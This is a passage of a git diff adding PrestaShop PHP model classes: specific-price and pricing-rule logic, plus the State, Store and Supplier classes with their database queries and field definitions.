(`'.bqSQL($field).'` = '.(int)$$field.', '.pow(2, $k + 1).', 0) + '; + + return rtrim($select, ' +').') AS `score`'; + } + + public static function getPriority($id_product) + { + if (!SpecificPrice::isFeatureActive()) + return explode(';', Configuration::get('PS_SPECIFIC_PRICE_PRIORITIES')); + + if (!isset(self::$_cache_priorities[(int)$id_product])) + { + self::$_cache_priorities[(int)$id_product] = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `priority`, `id_specific_price_priority` + FROM `'._DB_PREFIX_.'specific_price_priority` + WHERE `id_product` = '.(int)$id_product.' + ORDER BY `id_specific_price_priority` DESC + '); + } + + $priority = self::$_cache_priorities[(int)$id_product]; + + if (!$priority) + $priority = Configuration::get('PS_SPECIFIC_PRICE_PRIORITIES'); + $priority = 'id_customer;'.$priority; + + return preg_split('/;/', $priority); + } + + public static function getSpecificPrice($id_product, $id_shop, $id_currency, $id_country, $id_group, $quantity, $id_product_attribute = null, $id_customer = 0, $id_cart = 0, $real_quantity = 0) + { + if (!SpecificPrice::isFeatureActive()) + return array(); + /* + ** The date is not taken into account for the cache, but this is for the better because it keeps the consistency for the whole script. + ** The price must not change between the top and the bottom of the page + */ + + $key = ((int)$id_product.'-'.(int)$id_shop.'-'.(int)$id_currency.'-'.(int)$id_country.'-'.(int)$id_group.'-'.(int)$quantity.'-'.(int)$id_product_attribute.'-'.(int)$id_cart.'-'.(int)$id_customer.'-'.(int)$real_quantity); + if (!array_key_exists($key, self::$_specificPriceCache)) + { + $now = date('Y-m-d H:i:s'); + self::$_specificPriceCache[$key] = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT *, '.SpecificPrice::_getScoreQuery($id_product, $id_shop, $id_currency, $id_country, $id_group, $id_customer).' + FROM `'._DB_PREFIX_.'specific_price` + WHERE `id_product` IN (0, '.(int)$id_product.') + AND `id_product_attribute` IN (0, '.(int)$id_product_attribute.') + AND `id_shop` IN (0, '.(int)$id_shop.') + AND `id_currency` IN (0, '.(int)$id_currency.') + AND `id_country` IN (0, '.(int)$id_country.') + AND `id_group` IN (0, '.(int)$id_group.') + AND `id_customer` IN (0, '.(int)$id_customer.') + AND + ( + (`from` = \'0000-00-00 00:00:00\' OR \''.$now.'\' >= `from`) + AND + (`to` = \'0000-00-00 00:00:00\' OR \''.$now.'\' <= `to`) + ) + AND id_cart IN (0, '.(int)$id_cart.')'. + (($real_quantity != 0 && !Configuration::get('PS_QTY_DISCOUNT_ON_COMBINATION')) ? ' AND IF(`from_quantity` > 1, `from_quantity`, 0) <= IF(id_product_attribute=0,'.(int)$quantity.' ,'.(int)$real_quantity.')' : 'AND `from_quantity` <= '.(int)$real_quantity).' + ORDER BY `id_product_attribute` DESC, `from_quantity` DESC, `id_specific_price_rule` ASC, `score` DESC'); + } + return self::$_specificPriceCache[$key]; + } + + public static function setPriorities($priorities) + { + $value = ''; + if (is_array($priorities)) + foreach ($priorities as $priority) + $value .= pSQL($priority).';'; + + SpecificPrice::deletePriorities(); + + return Configuration::updateValue('PS_SPECIFIC_PRICE_PRIORITIES', rtrim($value, ';')); + } + + public static function deletePriorities() + { + return Db::getInstance()->execute(' + TRUNCATE `'._DB_PREFIX_.'specific_price_priority` + '); + } + + public static function setSpecificPriority($id_product, $priorities) + { + $value = ''; + foreach ($priorities as $priority) + $value .= pSQL($priority).';'; + + return Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'specific_price_priority` (`id_product`, `priority`) + VALUES ('.(int)$id_product.',\''.pSQL(rtrim($value, ';')).'\') + ON DUPLICATE KEY UPDATE `priority` = \''.pSQL(rtrim($value, ';')).'\' + '); + } + + public static function getQuantityDiscounts($id_product, $id_shop, $id_currency, $id_country, $id_group, $id_product_attribute = null, $all_combinations = false, $id_customer = 0) + { + if (!SpecificPrice::isFeatureActive()) + return array(); + + $now = date('Y-m-d H:i:s'); + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT *, + '.SpecificPrice::_getScoreQuery($id_product, $id_shop, $id_currency, $id_country, $id_group, $id_customer).' + FROM `'._DB_PREFIX_.'specific_price` + WHERE + `id_product` IN(0, '.(int)$id_product.') AND + '.(!$all_combinations ? '`id_product_attribute` IN(0, '.(int)$id_product_attribute.') AND ' : '').' + `id_shop` IN(0, '.(int)$id_shop.') AND + `id_currency` IN(0, '.(int)$id_currency.') AND + `id_country` IN(0, '.(int)$id_country.') AND + `id_group` IN(0, '.(int)$id_group.') AND + `id_customer` IN(0, '.(int)$id_customer.') + AND + ( + (`from` = \'0000-00-00 00:00:00\' OR \''.$now.'\' >= `from`) + AND + (`to` = \'0000-00-00 00:00:00\' OR \''.$now.'\' <= `to`) + ) + ORDER BY `id_product_attribute` DESC, `from_quantity` DESC, `id_specific_price_rule` ASC, `score` DESC + '); + + $targeted_prices = array(); + $last_quantity = array(); + + foreach ($res as $specific_price) + { + if (!isset($last_quantity[(int)$specific_price['id_product_attribute']])) + $last_quantity[(int)$specific_price['id_product_attribute']] = $specific_price['from_quantity']; + elseif ($last_quantity[(int)$specific_price['id_product_attribute']] == $specific_price['from_quantity']) + break; + + $last_quantity[(int)$specific_price['id_product_attribute']] = $specific_price['from_quantity']; + if ($specific_price['from_quantity'] > 1) + $targeted_prices[] = $specific_price; + } + + return $targeted_prices; + } + + public static function getQuantityDiscount($id_product, $id_shop, $id_currency, $id_country, $id_group, $quantity, $id_product_attribute = null, $id_customer = 0) + { + if (!SpecificPrice::isFeatureActive()) + return array(); + + $now = date('Y-m-d H:i:s'); + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT *, + '.SpecificPrice::_getScoreQuery($id_product, $id_shop, $id_currency, $id_country, $id_group, $id_customer).' + FROM `'._DB_PREFIX_.'specific_price` + WHERE + `id_product` IN(0, '.(int)$id_product.') AND + `id_product_attribute` IN(0, '.(int)$id_product_attribute.') AND + `id_shop` IN(0, '.(int)$id_shop.') AND + `id_currency` IN(0, '.(int)$id_currency.') AND + `id_country` IN(0, '.(int)$id_country.') AND + `id_group` IN(0, '.(int)$id_group.') AND + `id_customer` IN(0, '.(int)$id_customer.') AND + `from_quantity` >= '.(int)$quantity.' + AND + ( + (`from` = \'0000-00-00 00:00:00\' OR \''.$now.'\' >= `from`) + AND + (`to` = \'0000-00-00 00:00:00\' OR \''.$now.'\' <= `to`) + ) + ORDER BY `from_quantity` DESC, `score` DESC + '); + } + + public static function getProductIdByDate($id_shop, $id_currency, $id_country, $id_group, $beginning, $ending, $id_customer = 0, $with_combination_id = false) + { + if (!SpecificPrice::isFeatureActive()) + return array(); + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT `id_product`, `id_product_attribute` + FROM `'._DB_PREFIX_.'specific_price` + WHERE `id_shop` IN(0, '.(int)$id_shop.') AND + `id_currency` IN(0, '.(int)$id_currency.') AND + `id_country` IN(0, '.(int)$id_country.') AND + `id_group` IN(0, '.(int)$id_group.') AND + `id_customer` IN(0, '.(int)$id_customer.') AND + `from_quantity` = 1 AND + ( + (`from` = \'0000-00-00 00:00:00\' OR \''.pSQL($beginning).'\' >= `from`) + AND + (`to` = \'0000-00-00 00:00:00\' OR \''.pSQL($ending).'\' <= `to`) + ) + AND + `reduction` > 0 + ', false); + $ids_product = array(); + while ($row = Db::getInstance()->nextRow($result)) + $ids_product[] = $with_combination_id ? array('id_product' => (int)$row['id_product'], 'id_product_attribute' => (int)$row['id_product_attribute']) : (int)$row['id_product']; + return $ids_product; + } + + public static function deleteByProductId($id_product) + { + if (Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'specific_price` WHERE `id_product` = '.(int)$id_product)) + { + // Refresh cache of feature detachable + Configuration::updateGlobalValue('PS_SPECIFIC_PRICE_FEATURE_ACTIVE', SpecificPrice::isCurrentlyUsed('specific_price')); + return true; + } + return false; + } + + public function duplicate($id_product = false) + { + if ($id_product) + $this->id_product = (int)$id_product; + unset($this->id); + return $this->add(); + } + + /** + * This method is allow to know if a feature is used or active + * @since 1.5.0.1 + * @return bool + */ + public static function isFeatureActive() + { + static $feature_active = null; + + if ($feature_active === null) + $feature_active = Configuration::get('PS_SPECIFIC_PRICE_FEATURE_ACTIVE'); + return $feature_active; + } + + public static function exists($id_product, $id_product_attribute, $id_shop, $id_group, $id_country, $id_currency, $id_customer, $from_quantity, $from, $to, $rule = false) + { + $rule = ' AND `id_specific_price_rule`'.(!$rule ? '=0' : '!=0'); + return (int)Db::getInstance()->getValue('SELECT `id_specific_price` + FROM '._DB_PREFIX_.'specific_price + WHERE `id_product`='.(int)$id_product.' AND + `id_product_attribute`='.(int)$id_product_attribute.' AND + `id_shop`='.(int)$id_shop.' AND + `id_group`='.(int)$id_group.' AND + `id_country`='.(int)$id_country.' AND + `id_currency`='.(int)$id_currency.' AND + `id_customer`='.(int)$id_customer.' AND + `from_quantity`='.(int)$from_quantity.' AND + `from` >= \''.pSQL($from).'\' AND + `to` <= \''.pSQL($to).'\''.$rule); + } +} + diff --git a/classes/SpecificPriceRule.php b/classes/SpecificPriceRule.php new file mode 100755 index 0000000..99b9f67 --- /dev/null +++ b/classes/SpecificPriceRule.php @@ -0,0 +1,291 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class SpecificPriceRuleCore extends ObjectModel +{ + public $name; + public $id_shop; + public $id_currency; + public $id_country; + public $id_group; + public $from_quantity; + public $price; + public $reduction; + public $reduction_type; + public $from; + public $to; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'specific_price_rule', + 'primary' => 'id_specific_price_rule', + 'fields' => array( + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true), + 'id_shop' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_country' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_currency' => array('type' => self::TYPE_INT, 'required' => true), + 'id_group' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'from_quantity' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true), + 'price' => array('type' => self::TYPE_FLOAT, 'validate' => 'isNegativePrice', 'required' => true), + 'reduction' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice', 'required' => true), + 'reduction_type' => array('type' => self::TYPE_STRING, 'validate' => 'isReductionType', 'required' => true), + 'from' => array('type' => self::TYPE_DATE, 'validate' => 'isDateFormat', 'required' => false), + 'to' => array('type' => self::TYPE_DATE, 'validate' => 'isDateFormat', 'required' => false), + ), + ); + + protected $webserviceParameters = array( + 'objectsNodeName' => 'specific_price_rules', + 'objectNodeName' => 'specific_price_rule', + 'fields' => array( + 'id_shop' => array('xlink_resource' => 'shops', 'required' => true), + 'id_country' => array('xlink_resource' => 'countries', 'required' => true), + 'id_currency' => array('xlink_resource' => 'currencies', 'required' => true), + 'id_group' => array('xlink_resource' => 'groups', 'required' => true), + ), + ); + + public function delete() + { + $this->deleteConditions(); + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'specific_price WHERE id_specific_price_rule='.(int)$this->id); + return parent::delete(); + } + + public function deleteConditions() + { + $ids_condition_group = Db::getInstance()->executeS('SELECT id_specific_price_rule_condition_group + FROM '._DB_PREFIX_.'specific_price_rule_condition_group + WHERE id_specific_price_rule='.(int)$this->id); + if ($ids_condition_group) + foreach ($ids_condition_group as $row) + { + Db::getInstance()->delete('specific_price_rule_condition_group', 'id_specific_price_rule_condition_group='.(int)$row['id_specific_price_rule_condition_group']); + Db::getInstance()->delete('specific_price_rule_condition', 'id_specific_price_rule_condition_group='.(int)$row['id_specific_price_rule_condition_group']); + } + } + + public function addConditions($conditions) + { + if (!is_array($conditions)) + return; + + $result = Db::getInstance()->insert('specific_price_rule_condition_group', array( + 'id_specific_price_rule' => (int)$this->id + )); + if (!$result) + return false; + $id_specific_price_rule_condition_group = (int)Db::getInstance()->Insert_ID(); + foreach ($conditions as $condition) + { + $result = Db::getInstance()->insert('specific_price_rule_condition', array( + 'id_specific_price_rule_condition_group' => (int)$id_specific_price_rule_condition_group, + 'type' => pSQL($condition['type']), + 'value' => (float)$condition['value'], + )); + if (!$result) + return false; + } + return true; + } + + public function apply($products = false) + { + $this->resetApplication($products); + $products = $this->getAffectedProducts($products); + foreach ($products as $product) + SpecificPriceRule::applyRuleToProduct((int)$this->id, (int)$product['id_product'], (int)$product['id_product_attribute']); + } + + public function resetApplication($products = false) + { + $where = ''; + if ($products && count($products)) + $where .= ' AND id_product IN ('.implode(', ', array_map('intval', $products)).')'; + return Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'specific_price WHERE id_specific_price_rule='.(int)$this->id.$where); + } + + public static function applyAllRules($products = false) + { + $rules = new Collection('SpecificPriceRule'); + foreach ($rules as $rule) + $rule->apply($products); + } + + public function getConditions() + { + $conditions = Db::getInstance()->executeS(' + SELECT g.*, c.* + FROM '._DB_PREFIX_.'specific_price_rule_condition_group g + LEFT JOIN '._DB_PREFIX_.'specific_price_rule_condition c + ON (c.id_specific_price_rule_condition_group = g.id_specific_price_rule_condition_group) + WHERE g.id_specific_price_rule='.(int)$this->id + ); + $conditions_group = array(); + if ($conditions) + { + foreach ($conditions as &$condition) + { + if ($condition['type'] == 'attribute') + $condition['id_attribute_group'] = Db::getInstance()->getValue('SELECT id_attribute_group + FROM '._DB_PREFIX_.'attribute + WHERE id_attribute='.(int)$condition['value']); + elseif ($condition['type'] == 'feature') + $condition['id_feature'] = Db::getInstance()->getValue('SELECT id_feature + FROM '._DB_PREFIX_.'feature_value + WHERE id_feature_value='.(int)$condition['value']); + $conditions_group[(int)$condition['id_specific_price_rule_condition_group']][] = $condition; + } + } + return $conditions_group; + } + + public function getAffectedProducts($products = false) + { + $conditions_group = $this->getConditions(); + + $query = new DbQuery(); + $query->select('p.id_product'); + $query->from('product', 'p'); + $query->join(Shop::addSqlAssociation('product', 'p')); + $query->groupBy('p.id_product'); + + $attributes = false; + $categories = false; + $features = false; + $suppliers = false; + $where = '1'; + + if ($conditions_group) + { + $where .= ' AND ('; + foreach ($conditions_group as $id_condition_group => $condition_group) + { + $fields = array( + 'category' => array( + 'name' => 'cp.id_category', + 'values' => array() + ), + 'manufacturer' => array( + 'name' => 'p.id_manufacturer', + 'values' => array(), + ), + 'supplier' => array( + 'name' => 'pss.id_supplier', + 'values' => array() + ), + 'feature' => array( + 'name' => 'fp.id_feature_value', + 'values' => array() + ), + 'attribute' => array( + 'name'=> 'pac.id_attribute', + 'values' => array() + ) + ); + + foreach ($condition_group as $condition) + { + if ($condition['type'] == 'category') + $categories = true; + elseif ($condition['type'] == 'feature') + $features = true; + elseif ($condition['type'] == 'attribute') + $attributes = true; + elseif ($condition['type'] == 'supplier') + $suppliers = true; + + $fields[$condition['type']]['values'][] = $condition['value']; + } + + foreach ($fields as $field) + { + if (!$n_conditions = count($field['values'])) + continue; + + $where .= $field['name'].' IN ('.implode(',', array_map('intval', $field['values'])).') AND '; + if ($n_conditions > 1) + $query->having('COUNT('.bqSQL($field['name']).') >='.(int)$n_conditions); + } + + $where = rtrim($where, ' AND ').') OR ('; + } + $where = rtrim($where, 'OR ('); + } + if ($products && count($products)) + $where .= ' AND p.id_product IN ('.implode(', ', array_map('intval', $products)).')'; + if ($attributes) + { + $query->select('pa.id_product_attribute'); + $query->leftJoin('product_attribute', 'pa', 'p.id_product = pa.id_product'); + $query->join(Shop::addSqlAssociation('product_attribute', 'pa', false)); + $query->leftJoin('product_attribute_combination', 'pac', 'pa.id_product_attribute = pac.id_product_attribute'); + $query->groupBy('pa.id_product_attribute'); + } + else + $query->select('NULL as id_product_attribute'); + + if ($features) + $query->leftJoin('feature_product', 'fp', 'p.id_product = fp.id_product'); + if ($categories) + $query->leftJoin('category_product', 'cp', 'p.id_product = cp.id_product'); + + if ($suppliers) + $query->leftJoin('product_supplier', 'pss', 'p.id_product = pss.id_product'); + + if ($where) + $query->where($where); + + return Db::getInstance()->executeS($query); + } + + public static function applyRuleToProduct($id_rule, $id_product, $id_product_attribute = null) + { + $rule = new SpecificPriceRule((int)$id_rule); + if (!Validate::isLoadedObject($rule)) + return false; + + $specific_price = new SpecificPrice(); + $specific_price->id_specific_price_rule = (int)$rule->id; + $specific_price->id_product = (int)$id_product; + $specific_price->id_product_attribute = (int)$id_product_attribute; + $specific_price->id_customer = 0; + $specific_price->id_shop = (int)$rule->id_shop; + $specific_price->id_country = (int)$rule->id_country; + $specific_price->id_currency = (int)$rule->id_currency; + $specific_price->id_group = (int)$rule->id_group; + $specific_price->from_quantity = (int)$rule->from_quantity; + $specific_price->price = (float)$rule->price; + $specific_price->reduction_type = $rule->reduction_type; + $specific_price->reduction = ($rule->reduction_type == 'percentage' ? $rule->reduction / 100 : (float)$rule->reduction); + $specific_price->from = $rule->from; + $specific_price->to = $rule->to; + + return $specific_price->add(); + } +} \ No newline at end of file diff --git a/classes/State.php b/classes/State.php new file mode 100755 index 0000000..e818c07 --- /dev/null +++ b/classes/State.php @@ -0,0 +1,215 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class StateCore extends ObjectModel +{ + /** @var integer Country id which state belongs */ + public $id_country; + + /** @var integer Zone id which state belongs */ + public $id_zone; + + /** @var string 2 letters iso code */ + public $iso_code; + + /** @var string Name */ + public $name; + + /** @var boolean Status for delivery */ + public $active = true; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'state', + 'primary' => 'id_state', + 'fields' => array( + 'id_country' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_zone' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'iso_code' => array('type' => self::TYPE_STRING, 'validate' => 'isStateIsoCode', 'required' => true, 'size' => 7), + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true, 'size' => 32), + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + ), + ); + + protected $webserviceParameters = array( + 'fields' => array( + 'id_zone' => array('xlink_resource'=> 'zones'), + 'id_country' => array('xlink_resource'=> 'countries') + ), + ); + + public static function getStates($id_lang = false, $active = false) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT `id_state`, `id_country`, `id_zone`, `iso_code`, `name`, `active` + FROM `'._DB_PREFIX_.'state` + '.($active ? 'WHERE active = 1' : '').' + ORDER BY `name` ASC'); + } + + /** + * Get a state name with its ID + * + * @param integer $id_state Country ID + * @return string State name + */ + public static function getNameById($id_state) + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT `name` + FROM `'._DB_PREFIX_.'state` + WHERE `id_state` = '.(int)$id_state + ); + + return $result['name']; + } + + /** + * Get a state id with its name + * + * @param string $id_state Country ID + * @return integer state id + */ + public static function getIdByName($state) + { + $result = Db::getInstance()->getValue(' + SELECT `id_state` + FROM `'._DB_PREFIX_.'state` + WHERE `name` LIKE \''.pSQL($state).'\' + '); + + return (int)$result; + } + + /** + * Get a state id with its iso code + * + * @param string $iso_code Iso code + * @return integer state id + */ + public static function getIdByIso($iso_code, $id_country = null) + { + return Db::getInstance()->getValue(' + SELECT `id_state` + FROM `'._DB_PREFIX_.'state` + WHERE `iso_code` = \''.pSQL($iso_code).'\' + '.($id_country ? 'AND `id_country` = '.(int)$id_country : '')); + } + + /** + * Delete a state only if is not in use + * + * @return boolean + */ + public function delete() + { + if (!$this->isUsed()) + { + // Database deletion + $result = Db::getInstance()->delete($this->def['table'], '`'.$this->def['primary'].'` = '.(int)$this->id); + if (!$result) + return false; + + // Database deletion for multilingual fields related to the object + if (!empty($this->def['multilang'])) + Db::getInstance()->delete(bqSQL($this->def['table']).'_lang', '`'.$this->def['primary'].'` = '.(int)$this->id); + return $result; + } + else + return false; + } + + /** + * Check if a state is used + * + * @return boolean + */ + public function isUsed() + { + return ($this->countUsed() > 0); + } + + /** + * Returns the number of utilisation of a state + * + * @return integer count for this state + */ + public function countUsed() + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT COUNT(*) + FROM `'._DB_PREFIX_.'address` + WHERE `'.$this->def['primary'].'` = '.(int)$this->id + ); + return $result; + } + + public static function getStatesByIdCountry($id_country) + { + if (empty($id_country)) + die(Tools::displayError()); + + return Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'state` s + WHERE s.`id_country` = '.(int)$id_country + ); + } + + public static function hasCounties($id_state) + { + return count(County::getCounties((int)$id_state)); + } + + public static function getIdZone($id_state) + { + if (!Validate::isUnsignedId($id_state)) + die(Tools::displayError()); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `id_zone` + FROM `'._DB_PREFIX_.'state` + WHERE `id_state` = '.(int)$id_state + ); + } + + /** + * @param $ids_states + * @param $id_zone + * @return bool + */ + public function affectZoneToSelection($ids_states, $id_zone) + { + // cast every array values to int (security) + $ids_states = array_map('intval', $ids_states); + return Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'state` SET `id_zone` = '.(int)$id_zone.' WHERE `id_state` IN ('.implode(',', $ids_states).') + '); + } +} + diff --git a/classes/Store.php b/classes/Store.php new file mode 100755 index 0000000..e40d670 --- /dev/null +++ b/classes/Store.php @@ -0,0 +1,132 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class StoreCore extends ObjectModel +{ + /** @var integer Country id */ + public $id_country; + + /** @var integer State id */ + public $id_state; + + /** @var string Store name */ + public $name; + + /** @var string Address first line */ + public $address1; + + /** @var string Address second line (optional) */ + public $address2; + + /** @var string Postal code */ + public $postcode; + + /** @var string City */ + public $city; + + /** @var float Latitude */ + public $latitude; + + /** @var float Longitude */ + public $longitude; + + /** @var string Store hours (PHP serialized) */ + public $hours; + + /** @var string Phone number */ + public $phone; + + /** @var string Fax number */ + public $fax; + + /** @var string Note */ + public $note; + + /** @var string e-mail */ + public $email; + + /** @var string Object creation date */ + public $date_add; + + /** @var string Object last modification date */ + public $date_upd; + + /** @var boolean Store status */ + public $active = true; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'store', + 'primary' => 'id_store', + 'fields' => array( + 'id_country' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_state' => array('type' => self::TYPE_INT, 'validate' => 'isNullOrUnsignedId'), + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true, 'size' => 128), + 'address1' => array('type' => self::TYPE_STRING, 'validate' => 'isAddress', 'required' => true, 'size' => 128), + 'address2' => array('type' => self::TYPE_STRING, 'validate' => 'isAddress', 'size' => 128), + 'postcode' => array('type' => self::TYPE_STRING, 'size' => 12), + 'city' => array('type' => self::TYPE_STRING, 'validate' => 'isCityName', 'required' => true, 'size' => 64), + 'latitude' => array('type' => self::TYPE_FLOAT, 'validate' => 'isCoordinate', 'size' => 12), + 'longitude' => array('type' => self::TYPE_FLOAT, 'validate' => 'isCoordinate', 'size' => 12), + 'hours' => array('type' => self::TYPE_STRING, 'validate' => 'isSerializedArray', 'size' => 254), + 'phone' => array('type' => self::TYPE_STRING, 'validate' => 'isPhoneNumber', 'size' => 16), + 'fax' => array('type' => self::TYPE_STRING, 'validate' => 'isPhoneNumber', 'size' => 16), + 'note' => array('type' => self::TYPE_STRING, 'validate' => 'isCleanHtml', 'size' => 65000), + 'email' => array('type' => self::TYPE_STRING, 'validate' => 'isEmail', 'size' => 128), + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + ), + ); + + protected $webserviceParameters = array( + 'fields' => array( + 'id_country' => array('xlink_resource'=> 'countries'), + 'id_state' => array('xlink_resource'=> 'states'), + 'hours' => array('getter' => 'getWsHours', 'setter' => 'setWsHours'), + ), + ); + + public function __construct($id_store = null, $id_lang = null) + { + parent::__construct($id_store, $id_lang); + $this->id_image = ($this->id && file_exists(_PS_STORE_IMG_DIR_.(int)$this->id.'.jpg')) ? (int)$this->id : false; + $this->image_dir = _PS_STORE_IMG_DIR_; + } + + public function getWsHours() + { + return implode(';', Tools::unSerialize($this->hours)); + } + + public function setWsHours($hours) + { + $this->hours = serialize(explode(';', $hours)); + return true; + } +} diff --git a/classes/Supplier.php b/classes/Supplier.php new file mode 100755 index 0000000..80bca21 --- /dev/null +++ b/classes/Supplier.php @@ -0,0 +1,383 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class SupplierCore extends ObjectModel +{ + public $id; + + /** @var integer supplier ID */ + public $id_supplier; + + /** @var string Name */ + public $name; + + /** @var string A short description for the discount */ + public $description; + + /** @var string Object creation date */ + public $date_add; + + /** @var string Object last modification date */ + public $date_upd; + + /** @var string Friendly URL */ + public $link_rewrite; + + /** @var string Meta title */ + public $meta_title; + + /** @var string Meta keywords */ + public $meta_keywords; + + /** @var string Meta description */ + public $meta_description; + + /** @var boolean active */ + public $active; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'supplier', + 'primary' => 'id_supplier', + 'multilang' => true, + 'fields' => array( + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isCatalogName', 'required' => true, 'size' => 64), + 'active' => array('type' => self::TYPE_BOOL), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + + // Lang fields + 'description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName'), + 'meta_title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 128), + 'meta_description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 255), + 'meta_keywords' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'size' => 255), + ), + ); + + protected $webserviceParameters = array( + 'fields' => array( + 'link_rewrite' => array('sqlId' => 'link_rewrite'), + ), + ); + + public function __construct($id = null, $id_lang = null) + { + parent::__construct($id, $id_lang); + + $this->link_rewrite = $this->getLink(); + $this->image_dir = _PS_SUPP_IMG_DIR_; + } + + public function getLink() + { + return Tools::link_rewrite($this->name, false); + } + + /** + * Return suppliers + * + * @return array Suppliers + */ + public static function getSuppliers($get_nb_products = false, $id_lang = 0, $active = true, $p = false, $n = false, $all_groups = false) + { + if (!$id_lang) + $id_lang = Configuration::get('PS_LANG_DEFAULT'); + + $query = new DbQuery(); + $query->select('s.*, sl.`description`'); + $query->from('supplier', 's'); + $query->leftJoin('supplier_lang', 'sl', 's.`id_supplier` = sl.`id_supplier` AND sl.`id_lang` = '.(int)$id_lang); + $query->join(Shop::addSqlAssociation('supplier', 's')); + if ($active) + 